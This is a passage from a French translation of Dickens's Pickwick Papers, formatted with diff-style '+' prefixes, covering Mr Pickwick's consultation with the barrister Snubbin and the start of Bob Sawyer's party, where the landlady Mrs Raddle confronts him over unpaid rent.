+«Je crois qu'on n'a jamais vu un si insupportable banqueroutier depuis
+le commencement du monde! s'écria Lowten, en jetant sa plume sur la
+table, avec toute la mauvaise humeur d'un homme outragé. Il n'y a pas
+encore quatre ans que son affaire est devant la cour de la chancellerie,
+et je veux être damné s'il ne vient pas nous ennuyer deux fois par
+semaine. Il fait un peu froid, pourtant, pour perdre son temps debout, à
+la porte, avec de misérables râpés comme cela.»
+
+En proférant ces expressions de dépit, Lowten attisait un feu
+remarquablement grand avec un tisonnier remarquablement petit; puis il
+ajouta: «Entrez par ici, monsieur Pickwick. Perker _y est_: je sais
+qu'il vous recevra volontiers.»
+
+«Ah! mon cher monsieur, dit le petit avoué en s'empressant de se lever,
+lorsque M. Pickwick lui fut annoncé. Et bien! mon cher monsieur,
+quelles nouvelles de votre affaire? Eh! vous avez entendu parler de nos
+amis de Freeman's Court? Ils ne se sont pas endormis; je sais cela. Ah!
+ce sont des gaillards bien madrés, bien madrés, en vérité.»
+
+En concluant cet éloge, M. Perker prit une prise de tabac emphatique,
+comme un tribut à la madrerie de MM. Dodson et Fogg.
+
+«Ce sont de fameux coquins! dit M. Pickwick.
+
+--Oui, oui, reprit le petit homme. C'est une affaire d'opinion, comme
+vous savez, et nous ne disputerons pas sur des mots. Il est tout simple
+que vous ne considériez pas ces choses là d'un point de vue
+professionnel. Du reste, nous avons fait tout ce qui était nécessaire.
+J'ai retenu maître Snubbin.
+
+--Est-ce un habile avocat? demanda M. Pickwick.
+
+--Habile! Bon Dieu, quelle question m'adressez-vous là, mon cher
+monsieur; mais maître Snubbin est à la tête de sa profession. Il a trois
+fois plus d'affaires que les meilleurs avocats: il est engagé dans tous
+les procès de ce genre. Il ne faut pas répéter cela au dehors, mais nous
+disons, entre nous, qu'il mène le tribunal par le bout du nez.»
+
+Le petit homme prit une autre prise de tabac, en faisant cette
+communication à M. Pickwick, et l'accompagna d'un geste mystérieux.
+
+«Ils ont envoyé des citations à mes trois amis, dit le philosophe.
+
+--Ah! naturellement; ce sont des témoins importants: ils vous ont vu
+dans une situation délicate.
+
+--Mais ce n'est pas ma faute s'il lui a plu de se trouver mal! Elle
+s'est jetée elle-même dans mes bras.
+
+--C'est très-probable, mon cher monsieur; très-probable et très-naturel.
+Rien n'est plus naturel, mon cher monsieur; mais qu'est-ce qui le
+prouvera?»
+
+M. Pickwick passa à un autre sujet, car la question de M. Perker l'avait
+un peu démonté. «Ils ont également cité mon domestique, dit-il.
+
+--Sam?»
+
+M. Pickwick répliqua affirmativement:
+
+«Naturellement, mon cher monsieur; naturellement. Je le savais d'avance;
+j'aurais pu vous le dire, il y a un mois. Voyez-vous, mon cher monsieur,
+si vous voulez faire vos affaires vous-même, après les avoir confiées à
+votre avoué, il faut en subir les conséquences.»
+
+Ici M. Perker se redressa avec un air de dignité, et fit tomber
+quelques grains de tabac, égarés sur son jabot.
+
+«Que veulent-ils donc prouver par son témoignage? demanda M. Pickwick,
+après deux ou trois minutes de silence.
+
+--Que vous l'avez envoyé à la plaignante pour faire quelques affaires de
+compromis, je suppose. Au reste, il n'y a pas beaucoup d'inconvénient,
+car je ne crois pas que nos adversaires puissent tirer grand'chose de
+lui.
+
+--Je ne le crois pas, dit M. Pickwick, et malgré sa vexation, il ne put
+s'empêcher de sourire à la pensée de voir Sam paraître comme témoin.
+Quelle conduite tiendrons-nous? ajouta-t-il.
+
+--Nous n'en avons qu'une seule à adopter, mon cher monsieur; c'est de
+contre-examiner les témoins, de nous fier à l'éloquence de Snubbin, de
+jeter de la poudre aux yeux des juges, et de nous en rapporter au jury.
+
+--Et si le verdict est contre moi?»
+
+M. Perker sourit, prit une très-longue prise de tabac, attisa le feu,
+leva les épaules, et garda un silence expressif.
+
+«Vous voulez dire que dans ce cas il faudra que je paye les
+dommages-intérêts?» reprit M. Pickwick, qui avait examiné avec un
+maintien sévère cette réponse télégraphique.
+
+Perker donna au feu une autre secousse fort peu nécessaire, en disant:
+«J'en ai peur.
+
+--Et moi, reprit M. Pickwick avec énergie, je vous annonce ici ma
+résolution inaltérable de ne payer aucun dommage quelconque, aucun,
+Perker. Pas une guinée, pas un penny de mon argent ne s'engouffrera dans
+les poches de Dodson et Fogg. Telle est ma détermination réfléchie,
+irrévocable. Et en parlant ainsi, M. Pickwick déchargea sur la table qui
+était auprès de lui un violent coup de poing, pour confirmer
+l'irrévocabilité de ses intentions.
+
+--Très-bien, mon cher monsieur; très-bien: vous savez mieux que personne
+ce que vous avez à faire.
+
+--Sans aucun doute, reprit notre héros avec vivacité. Où demeure maître
+Snubbin?
+
+--Dans _Old-Square, Lincoln's Inn_.
+
+--Je désirerais le voir.
+
+--Voir maître Snubbin! mon cher monsieur, s'écria M. Perker, dans le
+plus grand étonnement. Poh! Poh! impossible! Voir maître Snubbin! Dieu
+vous bénisse, mon cher monsieur, on n'a jamais entendu parler d'une
+chose semblable. Cela ne peut absolument pas se faire, à moins d'avoir
+payé d'avance des honoraires de consultation, et d'avoir obtenu un
+rendez-vous.
+
+Malgré tout cela, M. Pickwick avait décidé, non-seulement que cela
+pouvait se faire, mais que cela se ferait; et, en conséquence, dix
+minutes après avoir reçu l'assurance que la chose était impossible, il
+fut conduit par son avoué dans le cabinet extérieur de l'illustre maître
+Snubbin.
+
+C'était une pièce assez grande, mais sans tapis. Auprès du feu était une
+table couverte d'une serge, qui depuis longtemps avait perdu toute
+prétention à son ancienne couleur verte, et qui, grâces à l'âge et à la
+poussière, était graduellement devenue grise, excepté dans les endroits
+nombreux où elle était noircie d'encre. On voyait sur la table une
+énorme quantité de petits paquets de papier, attachés avec de la ficelle
+rouge; et, derrière la table, un clerc assez âgé, dont l'apparence
+soignée et la pesante chaîne d'or accusaient clairement la clientèle
+étendue et lucrative de maître Snubbin.
+
+«Le patron est-il dans son cabinet, monsieur Mallard, demanda Perker au
+vieux clerc, en lui offrant sa tabatière, avec toute la courtoisie
+imaginable.
+
+--Oui, mais il est trop occupé. Voyez-vous toutes ces affaires? Il n'a
+pu encore donner d'opinion sur aucune d'elles, et cependant les
+honoraires d'expédition sont payés pour toutes.»
+
+Le clerc sourit en disant ceci, et respira sa prise de tabac avec une
+sensualité qui semblait être composée de goût pour le tabac et d'amour
+pour les honoraires.
+
+«Ça ressemble à de la clientèle, cela, dit Perker.
+
+--Oui, répondit le clerc, en offrant à son tour sa boîte, avec la plus
+grande cordialité; et le meilleur de l'affaire c'est que personne au
+monde, excepté moi, ne peut lire l'écriture du patron. Si bien que,
+quand il a donné son opinion, on est obligé d'attendre que je l'aie
+copiée, hé! hé! hé!
+
+--Ce qui profite à quelqu'un aussi bien qu'à maître Snubbin, et
+contribue à vider la bourse du client, ha! ha! ha!»
+
+À cette observation, le clerc recommença à rire; non pas d'un rire
+bruyant et ouvert, mais d'un ricanement silencieux, intérieur, qui
+faisait mal à M. Pickwick. Quand un homme saigne intérieurement, c'est
+une chose fort dangereuse pour lui; mais quand il rit intérieurement,
+cela ne présage rien de bon pour les autres.
+
+«Est-ce que vous n'avez pas fait la petite note des honoraires que je
+vous dois? reprit Perker.
+
+--Non; pas encore.
+
+--Faites-la donc, je vous en prie. Je vous enverrai un mandat. Mais vous
+êtes trop occupé à empocher l'argent comptant pour penser à vos
+débiteurs, hé! hé! hé!»
+
+Cette plaisanterie parut chatouiller agréablement le clerc, et il se
+régala sur nouveaux frais de son ricanement égoïste.
+
+«Maintenant M. Mallard, mon cher ami, dit M. Perker en recouvrant tout
+d'un coup sa gravité, et en tirant par le revers de son habit le grand
+clerc du grand avocat, dans un coin de la chambre, il faut que vous
+persuadiez au patron de me recevoir avec mon client que voilà.
+
+--Allons! allons! en voilà une bonne! voir maître Snubbin? C'est par
+trop absurde!»
+
+Malgré l'absurdité de la proposition, le clerc se laissa doucement
+emmener hors de l'ouïe de M. Pickwick, puis après quelques
+chuchotements, il disparut dans le sanctuaire du luminaire de la
+justice. Il en revint bientôt sur la pointe du pied et informa M. Perker
+et M. Pickwick qu'il avait décidé maître Snubbin à les admettre
+sur-le-champ, en violation de toutes les règles établies.
+
+Maître Snubbin, suivant la phrase reçue, pouvait avoir une cinquantaine
+d'années. C'était un de ces individus pâles, maigres, desséchés, dont la
+figure ressemble à une lanterne de corne. Il avait des yeux ronds,
+saillants, ternes comme on en rencontre ordinairement dans la tête des
+gens qui se sont appliqués pendant de longues années à de laborieuses et
+monotones études; des yeux qui l'auraient fait reconnaître pour myope
+quand même on n'aurait pas vu le lorgnon qui se dandinait sur sa
+poitrine, au bout d'un large ruban noir. Ses cheveux étaient rares et
+grêles, ce qu'on pouvait attribuer en partie à ce qu'il n'avait jamais
+sacrifié beaucoup de temps à leur arrangement, mais surtout à ce qu'il
+avait porté pendant vingt-cinq ans la perruque légale, que l'on voyait
+derrière lui, sur une tête à perruque. Les traces de poudre qui
+souillaient son collet, la cravate de batiste mal blanchie et plus mal
+attachée, qui entourait son cou, indiquaient que, depuis qu'il avait
+quitté la cour, il n'avait pas eu le temps de faire le moindre
+changement dans sa toilette; et l'air malpropre du reste de son costume,
+donnait lieu de croire qu'il aurait pu avoir tout le temps désirable,
+sans que sa tournure en fût améliorée. Des livres de droit, des
+monceaux de papiers, des lettres ouvertes, étaient répandus sur la
+table, sans aucune apparence d'ordre. L'ameublement était vieux et
+délabré, les portes de la bibliothèque semblaient vermoulues; à chaque
+pas la poussière s'élevait en petits nuages du tapis râpé; les rideaux
+étaient jaunis par l'âge et par la fumée, et l'état de toutes choses,
+dans le cabinet, prouvait, clair comme le jour, que maître Snubbin était
+trop absorbé par sa profession pour faire attention à ses aises.
+
+L'illustre avocat s'occupait à écrire, lorsque ses clients entrèrent; il
+salua d'un air distrait, quand M. Pickwick lui fut présenté par son
+avoué, fit signe à ses visiteurs de s'asseoir, plaça soigneusement sa
+plume dans son encrier, croisa sa jambe gauche sur sa jambe droite, et
+attendit qu'on lui adressât la parole.
+
+«Maître Snubbin, dit M. Perker, M. Pickwick est le défendeur dans
+Bardell et Pickwick.
+
+--Est-ce que je suis retenu pour cette affaire-là?
+
+--Oui, monsieur.»
+
+L'avocat inclina la tête, et attendit une autre communication.
+
+«Maître Snubbin, reprit le petit avoué, M. Pickwick avait le plus vif
+désir de vous voir, avant que vous entrepreniez sa cause, pour vous
+assurer qu'il n'y a aucun fondement, aucun prétexte à l'action intentée
+contre lui, et pour vous affirmer qu'il ne paraîtrait pas devant la
+cour, si sa conscience n'était pas complètement tranquille en résistant
+aux demandes de la plaignante.--Ai-je bien exprimé votre pensée, mon
+cher monsieur? continua le petit homme en se tournant vers M. Pickwick.
+
+--Parfaitement.»
+
+Maître Snubbin développa son lorgnon, l'éleva à la hauteur de ses yeux,
+et après avoir considéré notre héros pendant quelques secondes, avec une
+grande curiosité, se tourna vers M. Perker, et lui dit en souriant
+légèrement:
+
+«La cause de M. Pickwick est-elle bonne?»
+
+L'avoué leva les épaules.
+
+«Vous proposez-vous d'appeler des témoins?
+
+--Non, monsieur.»
+
+Le sourire de l'avocat se dessina de plus en plus; il dandina sa jambe
+avec une violence redoublée, et se rejetant en arrière dans son
+fauteuil, il toussa dubitativement.
+
+Tout légers qu'étaient ces indices des sentiments de l'avocat, ils ne
+furent pas perdus pour M. Pickwick. Il fixa plus solidement sur son nez
+les bésicles à travers lesquelles il avait attentivement contemplé les
+démonstrations que l'homme de loi avait laissé échapper, puis il lui
+dit, avec une grande énergie, et en dépit des clins d'oeil et des
+froncements de sourcils de l'avoué:
+
+«Mon désir de vous être présenté dans un semblable but, monsieur, paraît
+sans doute fort extraordinaire à une personne qui voit tant d'affaires
+du même genre?»
+
+L'avocat essaya de regarder gravement son feu, mais il eut beau faire,
+le sourire revint encore sur ses lèvres. M. Pickwick continua:
+
+«Les gentlemen de votre profession, monsieur, voient toujours le plus
+mauvais côté de la nature humaine. Toutes les discussions, toutes les
+rancunes, toutes les haines, se produisent devant vous. Vous savez par
+expérience jusqu'à quel point les jurés se laissent prendre par la mise
+en scène, et naturellement vous attribuez aux autres le désir
+d'employer, dans un but d'intérêt et de déception, le moyen dont vous
+connaissez si bien la valeur, parce que vous l'employez constamment dans
+l'intention louable et honorable de faire tout ce qui est possible en
+faveur de vos clients. Je crois qu'il faut attribuer à cette cause
+l'opinion vulgaire mais générale, que vous êtes, comme corps, froids,
+soupçonneux, égoïstes. Je sais donc fort bien, monsieur, tout le
+désavantage qu'il y a à vous faire une semblable déclaration, dans la
+circonstance où je me trouve. Néanmoins, comme vous l'a dit mon ami, M.
+Perker, je suis venu ici pour vous déclarer positivement que je suis
+innocent de l'action qu'on m'impute; et quoique je connaisse
+parfaitement l'inestimable valeur de votre assistance, je vous demande
+la permission d'ajouter que je renoncerais à me servir de votre talent,
+si vous n'étiez pas absolument convaincu de ma sincérité.»
+
+Longtemps avant la fin de ce discours (qui, nous devons le dire, était
+d'une nature fort prolixe pour M. Pickwick), l'avocat était retombé dans
+ses distractions. Cependant, au bout de quelques minutes de silence et
+après avoir repris sa plume, il parut se ressouvenir de la présence de
+son client, et levant les yeux de dessus son papier, il dit d'un ton
+assez brusque:
+
+«Qui est-ce qui est avec moi dans cette cause?
+
+--M. Phunky, répliqua l'avoué.
+
+--Phunky? Phunky? Je n'ai jamais entendu ce nom-là. C'est donc un jeune
+homme?
+
+--Oui, c'est un très-jeune homme. Il n'y a que quelques semaines qu'il a
+plaidé sa première cause, il n'y a pas encore huit ans qu'il est au
+barreau.
+
+--Oh! c'est ce que je pensais, reprit maître Snubbin, avec cet accent de
+commisération que l'on emploie dans le monde pour parler d'un pauvre
+petit enfant sans appui.--M. Mallard, envoyez chez monsieur...
+monsieur....
+
+--Phunky, Holborn-Court, suppléa M. Perker
+
+--Très-bien. Faites-lui dire, je vous prie, de venir ici un instant.»
+
+M. Mallard partit pour exécuter sa commission, et maître Snubbin retomba
+dans son abstraction, jusqu'au moment où M. Phunky fut introduit.
+
+M. Phunky était un homme d'un âge mûr, quoique un avocat en bourgeon. Il
+avait des manières timides, embarrassées, et en parlant, il hésitait
+péniblement. Cependant ce défaut ne semblait pas lui être naturel, mais
+paraissait provenir de la conscience qu'il avait des obstacles que lui
+opposait son manque de fortune ou de protections, ou peut-être bien de
+savoir faire. Il était intimidé par l'avocat, et se montrait
+obséquieusement poli pour l'avoué.
+
+«Je n'ai pas encore eu le plaisir de vous voir, M. Phunky,» dit maître
+Snubbin avec une condescendance hautaine.
+
+M. Phunky salua. Il avait eu, pendant huit ans et plus, le plaisir de
+voir maître Snubbin, et de l'envier aussi, avec toute l'envie d'un homme
+pauvre.
+
+«Vous êtes avec moi dans cette cause, à ce que j'apprends? poursuivit
+l'avocat.»
+
+Si M. Phunky avait été riche, il aurait immédiatement envoyé chercher
+son clerc, pour savoir ce qui en était; s'il avait été habile, il aurait
+appliqué son index à son front et aurait tâché de se rappeler si, dans
+la multitude de ses engagements, il s'en trouvait un pour cette affaire:
+mais, comme il n'était ni riche ni habile (dans ce sens, du moins), il
+devint rouge et salua.
+
+«Avez-vous lu les pièces, M. Phunky? continua le grand avocat.»
+
+Ici encore, M. Phunky aurait dû déclarer qu'il n'en avait aucun
+souvenir; mais comme il avait examiné tous les papiers qui lui avaient
+été remis, et comme, le jour ou la nuit, il n'avait pas pensé à autre
+chose depuis deux mois qu'il avait été retenu comme junior de maître
+Snubbin, il devint encore plus rouge, et salua sur nouveaux frais.
+
+«Voici M. Pickwick, reprit l'avocat en agitant sa plume dans la
+direction de l'endroit où notre philosophe se tenait debout.
+
+M. Phunky salua M. Pickwick avec toute la révérence qu'inspire un
+premier client, et ensuite inclina la tête du côté de son chef.
+
+«Vous pourriez emmener M. Pickwick, dit maître Snubbin, et... et... et
+écouter tout ce que M. Pickwick voudra vous communiquer. Après cela,
+nous aurons une consultation, naturellement.»
+
+Ayant ainsi donné à entendre qu'il avait été dérangé suffisamment,
+maître Snubbin qui était devenu de plus en plus distrait, appliqua son
+lorgnon à ses yeux, pendant un instant, salua légèrement, et s'enfonça
+plus profondément dans l'affaire qu'il avait devant lui. C'était une
+prodigieuse affaire; une interminable procédure occasionnée par le fait
+d'un individu, décédé depuis environ un siècle, et qui avait envahi un
+sentier conduisant d'un endroit d'où personne n'était jamais venu, à un
+autre endroit où personne n'était jamais allé!
+
+M. Phunky ne voulant jamais consentir à passer une porte avant M.
+Pickwick et son avoué, il leur fallut quelque temps avant d'arriver dans
+le square. Ils s'y promenèrent longtemps en long et en large, et le
+résultat de leur conférence fut qu'il était fort difficile de prévoir si
+le verdict serait favorable ou non; que personne ne pouvait avoir la
+prétention de prédire le résultat de l'affaire; enfin qu'on était fort
+heureux d'avoir prévenu l'autre partie, en retenant maître Snubbin.
+
+Après avoir entendu différents autres topiques de doute et de
+consolation, également bien appropriés à son affaire, M. Pickwick tira
+Sam du profond sommeil où il était tombé depuis une heure, et ayant dit
+adieu à Lowten, retourna dans la Cité, suivi de son fidèle domestique.
+
+
+
+
+CHAPITRE III.
+
+Où l'on décrit plus compendieusement que ne l'a jamais fait aucun
+journal de la cour une soirée de garçon, donnée par M. Bob Sawyer en son
+domicile, dans le _Borough_.
+
+
+Le repos et le silence qui caractérisent Lant-street, dans le
+_Borough_[3], font couler jusqu'au fond de l'âme les trésors d'une douce
+mélancolie. C'est une rue de traverse dont la monotonie est consolante
+et où l'on voit toujours beaucoup d'écriteaux aux croisées. Une maison,
+dans Lant-street, ne pourrait guère recevoir la dénomination d'_hôtel_,
+dans la stricte acception du mot; mais, cependant, c'est un domicile
+fort souhaitable. Si quelqu'un désire se retirer du monde, se soustraire
+à toutes les tentations, se précautionner contre tout ce qui pourrait
+l'engager à regarder par la fenêtre, nous lui recommandons Lant-street
+par-dessus toute autre rue.
+
+[Footnote 3: Faubourg méridional de Londres.]
+
+Dans cette heureuse retraite sont colonisées quelques blanchisseuses de
+fin, une poignée d'ouvriers relieurs, un ou deux recors, plusieurs
+petits employés des Docks, une pincée de couturières et un
+assaisonnement d'ouvriers tailleurs. La majorité des aborigènes dirige
+ses facultés vers la location d'appartements garnis, ou se dévoue à la
+saine et libérale profession de la calandre. Ce qu'il y a de plus
+remarquable dans la nature morte de cette région, ce sont les volets
+verts, les écriteaux de location, les plaques de cuivre sur les portes
+et les poignées de sonnettes du même métal. Les principaux spécimens du
+règne animal sont les garçons de taverne, les marchands de petits
+gâteaux et les marchands de pommes de terre cuites. La population est
+nomade; elle disparaît habituellement à l'approche du terme, et
+généralement pendant la nuit. Les revenus de S.M. sont rarement
+recueillis dans cette vallée fortunée. Les loyers sont hypothétiques, et
+la distribution de l'eau est souvent interrompue faute du payement de la
+rente.
+
+Au commencement de la soirée à laquelle M. Pickwick avait été invité
+par M. Bob Sawyer, ce jeune praticien et son ami, M. Ben Allen,
+s'étalaient aux deux coins de la cheminée, au premier étage d'une des
+maisons de la rue que nous venons de décrire. Les préparatifs de
+réception paraissaient complets. Les parapluies avaient été retirés du
+passage et entassés derrière la porte de l'arrière-parloir; la servante
+de la propriétaire avait ôté son bonnet et son châle de dessus la rampe
+de l'escalier, où ils étaient habituellement déposés. Il ne restait que
+deux paires de socques sur le paillasson, derrière la porte de la rue;
+enfin, une chandelle de cuisine, dont la mèche était fort longue,
+brûlait gaiement sur le bord de la fenêtre de l'escalier. M. Bob Sawyer
+avait acheté lui-même les spiritueux dans un caveau de High-street, et
+avait précédé jusqu'à son domicile celui qui les portait, pour empêcher
+la possibilité d'une erreur. Le punch était déjà préparé dans une
+casserole de cuivre. Une petite table, couverte d'une vieille serge
+verte, avait été amenée du parloir pour jouer aux cartes, et les verres
+de l'établissement, avec ceux qu'on avait empruntés à la taverne
+voisine, garnissaient un plateau, sur le carré.
+
+Nonobstant la nature singulièrement satisfaisante de tous ces
+arrangements, un nuage obscurcissait la physionomie de M. Bob Sawyer.
+Assis à côté de lui, Ben Allen regardait attentivement les charbons avec
+une expression de sympathie qui vibra mélancoliquement dans sa voix
+lorsqu'il se prit à dire, après un long silence:
+
+«C'est damnant qu'elle ait tourné à l'aigre justement aujourd'hui! Elle
+aurait bien dû attendre jusqu'à demain.
+
+--C'est pure méchanceté, pure méchanceté! rétorqua M. Bob Sawyer avec
+véhémence. Elle dit que, si j'ai assez d'argent pour donner une soirée,
+je dois en avoir assez pour payer son petit mémoire.
+
+--Depuis combien de temps court-il? demanda M. Ben Allen (par parenthèse
+un mémoire est l'engin locomotif le plus extraordinaire que le génie de
+l'homme ait jamais inventé: une fois en mouvement, il continue à courir
+de soi-même, sans jamais s'arrêter, durant la vie la plus longue).
+
+--Il n'y a guère que trois ou quatre mois», répliqua l'autre.
+
+Ben Allen toussa d'un air désespéré en contemplant fixement les barres
+de la grille. À la fin, il ajouta:
+
+«Ça sera diablement désagréable si elle se met dans la tête de faire son
+sabbat quand les amis seront arrivés, hein?
+
+--Horrible! murmura Bob Sawyer, horrible!»
+
+En ce moment un léger coup se fit entendre à la porte. M. Bob Sawyer
+jeta un regard expressif à son ami; et, lorsqu'il eut dit: «Entrez!» on
+vit apparaître dans l'ouverture de la porte la tête mal peignée d'une
+servante, dont l'apparence aurait fait peu d'honneur à la fille d'un
+balayeur retraité.
+
+«Sauf votre respect, monsieur Sawyer, Mme Raddle désire vous parler.»
+
+M. Bob Sawyer n'avait pas encore médité sa réponse, lorsque la jeune
+fille disparut subitement, comme quelqu'un qui est violemment tiré par
+derrière, et en même temps un autre coup fut frappé à la porte, un coup
+sec et décidé, qui semblait dire: me voici; c'est moi.
+
+M. Bob Sawyer regarda son ami avec un air de mortelle appréhension, et
+cria de nouveau: «Entrez.»
+
+La permission n'était nullement nécessaire, car, avant qu'elle fût
+articulée, une petite femme, pâle et tremblante de colère, s'était
+élancée dans la chambre.
+
+«M. Sawyer, dit-elle en s'efforçant de paraître calme, voulez-vous avoir
+la bonté de régler mon petit mémoire? Je vous serai bien obligée, parce
+que j'ai mon loyer à payer ce soir, et que mon propriétaire est en bas
+qui attend.»
+
+Ici la petite femme se frotta les mains et fixa fièrement ses regards
+sur la muraille, par-dessus la tête de M. Bob Sawyer.
+
+«Je suis excessivement fâché de vous incommoder, madame Raddle, répondit
+Bob avec déférence, mais....
+
+--Oh! cela ne m'incommode pas, interrompit la petite femme, d'une voix
+aigre. Je n'en avais pas absolument besoin avant le jour d'aujourd'hui;
+mais, comme cet argent-là va directement dans la poche du propriétaire,
+autant valait que vous le gardissiez pour moi. Vous me l'avez promis
+pour aujourd'hui, monsieur Sawyer, et tous les gentlemen qui ont vécu
+ici ont toujours tenu leur parole, comme doit le faire nécessairement
+quiconque est véritablement un gentleman.»
+
+Ayant ainsi parlé, mistress Raddle secoua sa tête, mordit ses lèvres, se
+frotta les mains encore plus fort, et regarda le mur plus fixement que
+jamais. Il était clair que la vapeur s'amassait, comme le dit plus tard
+M. Bob lui-même, dans un style d'allégorie orientale.
+
+«Je suis bien fâché, madame Raddle, répondit-il avec toute l'humilité
+imaginable; mais le fait est que j'ai été désappointé dans la cité
+aujourd'hui.»
+
+C'est un endroit bien extraordinaire que cette cité; nous connaissons un
+nombre étonnant de gens qui y sont journellement désappointés.
+
+«Eh bien! monsieur Sawyer, dit mistress Raddle en se plantant solidement
+sur une des rosaces du tapis de Kidderminster, qu'est-ce que cela me
+fait à moi?
+
+--Je... je suis certain, madame Raddle, répondit Bob en éludant la
+dernière question; je suis certain qu'avant le milieu de la semaine
+prochaine nous pourrons tout ajuster, et qu'ensuite nous marcherons plus
+régulièrement.»
+
+C'était là tout ce que voulait Mme Raddle. Elle avait escaladé
+l'appartement de l'infortuné Bob avec tant d'envie de faire une scène,
+qu'elle aurait été probablement contrariée si elle avait reçu son
+argent. En effet, elle était singulièrement bien disposée pour une
+récréation de ce genre, car elle venait d'échanger, dans la cuisine,
+avec M. Raddle, quelques compliments préparatoires.
+
+«Supposez-vous, monsieur Sawyer, s'écria-t-elle en élevant la voix pour
+l'édification des voisins, supposez-vous que je garderai éternellement
+dans ma maison un individu qui ne pense jamais à payer son loyer, et qui
+ne donne pas même un rouge liard pour le beurre et pour le sucre de son
+déjeuner, ni pour le lait qu'on lui achète à la porte? Supposez-vous
+qu'une femme honnête et laborieuse, qui a vécu vingt ans dans cette rue
+(dix ans sur le pavé et neuf ans et neuf mois dans cette maison), n'a
+rien autre chose à faire que de s'éreinter pour loger et nourrir un tas
+de paresseux qui sont toujours à fumer, à boire et à flâner, au lieu de
+travailler pour payer leur mémoire? Supposez-vous....
+
+--Ma bonne dame, dit M. Ben Allen d'une voix conciliante....
+
+--Ayez la bonté, monsieur, de garder vos observations pour vous-même,
+dit mistress Raddle en comprimant soudain le rapide torrent de son
+éloquence, et en s'adressant à l'interrupteur avec une lenteur et une
+solennité imposante. Je ne pense pas, monsieur, que vous ayez aucun
+droit de m'adresser votre conversation? Je ne pense pas vous avoir loué
+cet appartement?
+
+--Non, certainement, répondit Benjamin.
+
+--Parfaitement, monsieur, rétorqua mistress Raddle avec une politesse
+hautaine; parfaitement, monsieur; et vous voudrez bien alors vous
+contenter de briser les bras et les jambes du pauvre monde, dans les
+hôpitaux, et vous tenir à votre place. Autrement il y aura peut-être ici
+quelque personne qui vous y fera tenir, monsieur.
+
+--Mais vous êtes une femme si peu raisonnable..., dit Benjamin.
+
+--Je vous demande excuse, jeune homme, s'écria mistress Raddle, que la
+colère inondait d'une sueur froide. Voulez-vous avoir la bonté de
+répéter un peu ce mot-là?
+
+--Madame, répondit Benjamin, qui commençait à devenir inquiet pour son
+propre compte, je n'attachais pas d'offense à cette expression.
+
+--Je vous demande excuse, jeune homme, reprit mistress Raddle d'un ton
+encore plus impératif et plus élevé. Qui avez-vous appelé une femme?
+Est-ce à moi que vous adressez cette remarque-là, monsieur?
+
+--Eh! mon Dieu!... fit Benjamin.
+
+--Je vous demande, oui ou non, si c'est à moi que vous appliquez ce
+nom-là, monsieur? interrompit mistress Raddle avec fureur, en ouvrant la
+porte toute grande.
+
+--Eh!... oui!... parbleu! confessa le pauvre étudiant.
+
+--Oui, parbleu! reprit mistress Raddle en reculant graduellement jusqu'à
+la porte, et en élevant la voix à sa plus haute clef, pour le bénéfice
+spécial de M. Raddle, qui était dans la cuisine. En effet, chacun sait
+qu'on peut m'insulter dans ma propre maison, pendant que mon mari
+roupille en bas, sans faire plus d'attention à moi qu'à un caniche. Il
+devrait rougir (ici mistress Raddle commença à sangloter); il devrait
+rougir de laisser traiter sa femme comme la dernière des dernières, par
+des bouchers de chair humaine qui déshonorent le logement (autres
+sanglots). Le poltron! le sans coeur! qui laisse sa femme exposée à
+toutes sortes d'avanies! Voyez-vous, le capon; il a peur de monter pour
+corriger ces bandits-là! Il a peur de monter! Il a peur de monter!»
+
+Ici mistress Raddle s'arrêta pour écouter si la répétition de ce défi
+avait réveillé sa meilleure moitié. Voyant qu'elle n'y pouvait réussir,
+elle commençait à descendre l'escalier en poussant d'innombrables
+sanglots, lorsqu'un double coup de marteau retentit violemment à la
+porte de la rue. Elle y répondit par des gémissements qui duraient
+encore au sixième coup frappé par le visiteur; puis, à la fin, dans un
+accès irrésistible d'agonie mentale, elle renversa tous les parapluies
+et se précipita dans l'arrière-parloir en fermant la porte après elle
+avec un fracas épouvantable.
+
+«N'est-ce pas ici que demeure M. Sawyer? demanda M. Pickwick à la
+servante qui lui ouvrit la porte.
+
+--Au premier, la porte en face de l'escalier, répondit la jeune fille en
+rentrant dans la cuisine avec sa chandelle, parfaitement convaincue
+qu'elle avait fait tout ce qu'exigeaient les circonstances.»
+
+M. Snodgrass, qui était entré le dernier, parvint, après bien des
+efforts, à fermer la porto de la rue; et les pickwickiens, ayant grimpé
+l'escalier en trébuchant, furent reçus par Bob, qui n'avait pas osé
+descendre au-devant d'eux, de peur d'être assailli par Mme Raddle.
+
+«Comment vous portez-vous? leur dit l'étudiant déconfit, charmé de vous
+voir. Prenez garde aux verres!»
+
+Cet avertissement s'adressait à M. Pickwick, qui avait posé son chapeau
+sur le plateau.
+
+«Pardon! s'écria celui-ci; je vous demande pardon.
+
+--Il n'y a pas de mal; il n'y a pas de mal, reprit l'amphitryon. Je suis
+un peu à l'étroit ici; mais il faut en prendre son parti quand on vient
+voir un garçon. Entrez donc.... Vous avez déjà vu ce gentleman, je
+pense?»
+
+M. Pickwick secoua la main de M. Benjamin Allen, et ses amis suivirent
+son exemple. Ils étaient à peine assis lorsqu'on entendit frapper de
+nouveau un double coup à la porte.
+
+«J'espère que c'est Jack Hopkins, dit Bob. Chut!... Oui, c'est lui.
+Montez, Jack, montez.»
+
+Des pas lourds retentirent sur l'escalier, et Jack Hopkins se présenta
+sous un gilet de velours noir, orné de boutons flamboyants. Il portait,
+en outre, une chemise bleue rayée, surmontée d'un faux-col blanc.
+
+«Vous arrivez bien tard, lui dit Ben.
+
+--J'ai été retenu à l'hôpital.
+
+--Y a-t-il quelque chose de nouveau!
+
+--Non, rien d'extraordinaire. Un assez bon accident, toutefois.
+
+--Qu'est-ce que c'est, monsieur? demanda M. Pickwick.
+
+--Un homme qui est tombé d'un quatrième étage, voilà tout. Mais c'est un
+cas superbe.
+
+--Voulez-vous dire que le patient guérira probablement?
+
+--Non, répondit le nouveau venu d'un air d'indifférence, j'imagine
+plutôt qu'il en mourra; mais il y aura une belle opération demain; quel
+spectacle magnifique si c'est Slasher qui opère!
+
+--Vous regardez donc M. Slasher comme un bon opérateur?
+
+--Le meilleur qui existe assurément. La semaine dernière, il a
+désarticulé la jambe d'un enfant, qui a mangé cinq pommes et un morceau
+de pain d'épice pendant l'opération. Mais ce n'est pas tout; deux
+minutes après, le moutard a déclaré qu'il ne voulait pas rester là pour
+le roi de Prusse, et qu'il le dirait à sa mère si on ne commençait pas.
+
+--Vous m'étonnez, s'écria M. Pickwick.
+
+--Bah! cela n'est rien; n'est-il pas vrai, Bob?
+
+--Rien du tout, répliqua M. Sawyer.
+
